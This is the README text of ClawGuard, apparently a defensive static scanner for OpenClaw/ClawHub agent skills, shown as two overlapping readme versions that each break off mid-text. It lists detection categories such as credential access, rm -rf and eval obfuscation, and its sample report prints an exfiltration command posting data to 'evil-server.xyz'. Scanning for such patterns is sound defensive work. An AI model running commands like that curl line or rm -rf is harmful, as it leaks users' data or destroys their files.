clawguard

# ClawGuard 🛡️

**Scan ClawHub skills for security risks before installing.**

ClawGuard performs static code analysis on ClawHub skills to detect:
- 🌐 Network exfiltration (HTTP POST to external URLs)
- 🔑 Credential access (API keys, tokens, passwords)
- ⚡ Shell command execution
- 💥 File destruction (rm -rf, unlink)
- 🎭 Code obfuscation (eval, base64 decode)
- 👻 Hidden files and directories

## Usage

### Scan by skill name
Download and scan a skill from ClawHub:
```bash
uv run {baseDir}/scripts/scan.py --skill <skill-name>
```

### Scan local directory
Scan a skill directory on your local filesystem:
```bash
uv run {baseDir}/scripts/scan.py --path /path/to/skill
```

### JSON output
Get results in JSON format:
```bash
uv run {baseDir}/scripts/scan.py --skill <skill-name> --json
```

## Examples

Scan the GitHub skill:
```bash
uv run {baseDir}/scripts/scan.py --skill github
```

Scan a local skill:
```bash
uv run {baseDir}/scripts/scan.py --path ~/.openclaw/skills/my-skill
```

## Risk Levels

- 🟢 **SAFE** (0-30): No significant risks detected
- 🟡 **CAUTION** (31-60): Review flagged items before installing
- 🔴 **DANGEROUS** (61-100): High-risk patterns detected — DO NOT INSTALL

## Exit Codes

- `0`: Safe
- `1`: Caution
- `2`: Dangerous

## Requirements

- Python 3.11+
- `uv` (Python package manager)
- `clawhub` CLI (optional, for downloading skills)

## How It Works

1. **Pattern Matching**: Regex-based detection of dangerous code patterns
2. **AST Analysis**: Python AST parsing for eval/exec detection
3. **URL Extraction**: Identifies all network endpoints
4. **Risk Scoring**: Weighted severity scoring (0-100)

## What It Detects

| Category | Weight | Examples |
|----------|--------|---------|
| Network exfiltration | 25 | POST to unknown URL with data |
| Credential access | 20 | Reading API keys, tokens |
| Shell execution | 15 | exec(), subprocess, system() |
| File destruction | 15 | rm -rf, unlink, rmdir |
| Obfuscation | 15 | eval(), atob(), Buff...

# ClawGuard 🛡️

**Security scanner for ClawHub skills. Analyze before you install.**

ClawGuard performs static code analysis on OpenClaw/ClawHub skills to detect dangerous patterns before you install them. It checks for network exfiltration, credential theft, shell execution, file destruction, code obfuscation, and more.

## Features

- 🌐 **Network exfiltration detection** — HTTP POST to external URLs
- 🔑 **Credential access detection** — API keys, tokens, passwords
- ⚡ **Shell execution detection** — exec(), subprocess, system()
- 💥 **File destruction detection** — rm -rf, unlink, rmdir
- 🎭 **Obfuscation detection** — eval(), base64 decode
- 👻 **Hidden file detection** — Dotfiles, hidden directories
- 📊 **Risk scoring** — 0-100 weighted severity score
- 🌐 **URL extraction** — Lists all network endpoints with safety check

## Installation

### As an OpenClaw skill

```bash
# Install from ClawHub (coming soon)
clawhub install clawguard

# Or install locally
clawhub install --path /path/to/clawguard
```

### Standalone

```bash
# Clone repository
git clone https://github.com/ubik-collective/clawguard.git
cd clawguard

# Ensure uv is installed
pip install uv

# Run directly
uv run scripts/scan.py --help
```

## Usage

### Scan a skill from ClawHub

```bash
uv run scripts/scan.py --skill <skill-name>
```

Example:
```bash
uv run scripts/scan.py --skill github
```

### Scan a local directory

```bash
uv run scripts/scan.py --path /path/to/skill
```

Example:
```bash
uv run scripts/scan.py --path ~/.openclaw/skills/my-skill
```

### JSON output

```bash
uv run scripts/scan.py --skill <skill-name> --json
```

## Output Example

```
🛡️  ClawGuard Security Report
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Skill: example-skill
Score: 72/100 🔴 DANGEROUS
Files scanned: 15
Lines scanned: 2341

⚠️  Issues Found (5):

1. [HIGH] scripts/run.sh:14 — curl command to external URL
   Code: curl -X POST https://evil-server.xyz/collect -d "$DATA"

2. [HIGH] lib/helper.j...